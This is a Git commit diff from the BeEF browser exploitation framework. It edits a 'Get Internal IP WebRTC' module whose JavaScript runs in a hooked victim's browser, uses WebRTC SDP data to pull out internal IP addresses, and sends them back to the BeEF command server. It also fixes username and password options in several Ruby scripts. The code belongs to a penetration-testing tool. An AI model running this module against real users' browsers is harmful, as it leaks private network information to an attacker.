Merge branch 'master' of https://github.com/beefproject/beef
This commit is contained in:
@@ -10,38 +10,42 @@ beef.execute(function() {
|
||||
|
||||
if (RTCPeerConnection) (function () {
|
||||
|
||||
var addrs = Object.create(null);
|
||||
var addrs = Object.create(null);
|
||||
addrs["0.0.0.0"] = false;
|
||||
|
||||
// Establish a connection with ICE / relay servers - in this instance: NONE
|
||||
var rtc = new RTCPeerConnection({iceServers:[]});
|
||||
if (window.mozRTCPeerConnection) { // FF needs a channel/stream to proceed
|
||||
rtc.createDataChannel('', {reliable:false});
|
||||
};
|
||||
|
||||
|
||||
// Construct RTC peer connection
|
||||
var servers = {iceServers:[]};
|
||||
var rtc = new RTCPeerConnection(servers);
|
||||
rtc.createDataChannel('', {reliable:false});
|
||||
|
||||
// Upon an ICE candidate being found
|
||||
// Grep the SDP data for IP address data
|
||||
rtc.onicecandidate = function (evt) {
|
||||
if (evt.candidate){
|
||||
beef.debug("a="+evt.candidate.candidate);
|
||||
grepSDP("a="+evt.candidate.candidate);
|
||||
}
|
||||
if (evt.candidate){
|
||||
beef.debug("a="+evt.candidate.candidate);
|
||||
grepSDP("a="+evt.candidate.candidate);
|
||||
}
|
||||
};
|
||||
|
||||
// Create an SDP offer
|
||||
rtc.createOffer(function (offerDesc) {
|
||||
grepSDP(offerDesc.sdp);
|
||||
rtc.setLocalDescription(offerDesc);
|
||||
}, function (e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed"); });
|
||||
}, function (e) {
|
||||
beef.debug("SDP Offer Failed");
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed");
|
||||
});
|
||||
|
||||
// Return results
|
||||
function processIPs(newAddr) {
|
||||
if (newAddr in addrs) return;
|
||||
else addrs[newAddr] = true;
|
||||
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
|
||||
beef.debug("Found IPs: "+ displayAddrs.join(","))
|
||||
beef.debug("Found IPs: "+ displayAddrs.join(","));
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","));
|
||||
}
|
||||
|
||||
|
||||
// Retrieve IP addresses from SDP
|
||||
function grepSDP(sdp) {
|
||||
var hosts = [];
|
||||
sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
|
||||
|
||||
@@ -9,7 +9,7 @@ beef:
|
||||
enable: true
|
||||
category: "Host"
|
||||
name: "Get Internal IP WebRTC"
|
||||
description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from http://net.ipcalf.com/"
|
||||
description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from <a href='http://net.ipcalf.com/' target='_blank'>http://net.ipcalf.com/</a>"
|
||||
authors: ["xntrik", "@natevw"]
|
||||
target:
|
||||
working: ["C", "FF"]
|
||||
|
||||
@@ -40,10 +40,10 @@ OptionParser.new do |opts|
|
||||
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
|
||||
port = p
|
||||
end
|
||||
opts.on('--user', "Set BeEF username (default: #{user})") do |u|
|
||||
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
|
||||
user = u
|
||||
end
|
||||
opts.on('--pass', "Set BeEF password (default: #{pass})") do |p|
|
||||
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
|
||||
pass = p
|
||||
end
|
||||
opts.on('--ssl', 'Use HTTPS') do
|
||||
|
||||
@@ -40,10 +40,10 @@ OptionParser.new do |opts|
|
||||
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
|
||||
port = p
|
||||
end
|
||||
opts.on('--user', "Set BeEF username (default: #{user})") do |u|
|
||||
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
|
||||
user = u
|
||||
end
|
||||
opts.on('--pass', "Set BeEF password (default: #{pass})") do |p|
|
||||
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
|
||||
pass = p
|
||||
end
|
||||
opts.on('--ssl', 'Use HTTPS') do
|
||||
|
||||
@@ -40,10 +40,10 @@ OptionParser.new do |opts|
|
||||
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
|
||||
port = p
|
||||
end
|
||||
opts.on('--user', "Set BeEF username (default: #{user})") do |u|
|
||||
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
|
||||
user = u
|
||||
end
|
||||
opts.on('--pass', "Set BeEF password (default: #{pass})") do |p|
|
||||
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
|
||||
pass = p
|
||||
end
|
||||
opts.on('--ssl', 'Use HTTPS') do
|
||||
|
||||
@@ -42,10 +42,10 @@ OptionParser.new do |opts|
|
||||
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
|
||||
port = p
|
||||
end
|
||||
opts.on('--user', "Set BeEF username (default: #{user})") do |u|
|
||||
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
|
||||
user = u
|
||||
end
|
||||
opts.on('--pass', "Set BeEF password (default: #{pass})") do |p|
|
||||
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
|
||||
pass = p
|
||||
end
|
||||
opts.on('--ssl', 'Use HTTPS') do
|
||||
|
||||
@@ -40,10 +40,10 @@ OptionParser.new do |opts|
|
||||
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
|
||||
port = p
|
||||
end
|
||||
opts.on('--user', "Set BeEF username (default: #{user})") do |u|
|
||||
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
|
||||
user = u
|
||||
end
|
||||
opts.on('--pass', "Set BeEF password (default: #{pass})") do |p|
|
||||
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
|
||||
pass = p
|
||||
end
|
||||
opts.on('--ssl', 'Use HTTPS') do
|
||||
|
||||
@@ -40,10 +40,10 @@ OptionParser.new do |opts|
|
||||
opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p|
|
||||
port = p
|
||||
end
|
||||
opts.on('--user', "Set BeEF username (default: #{user})") do |u|
|
||||
opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u|
|
||||
user = u
|
||||
end
|
||||
opts.on('--pass', "Set BeEF password (default: #{pass})") do |p|
|
||||
opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p|
|
||||
pass = p
|
||||
end
|
||||
opts.on('--ssl', 'Use HTTPS') do
|
||||
|
||||
Reference in New Issue
Block a user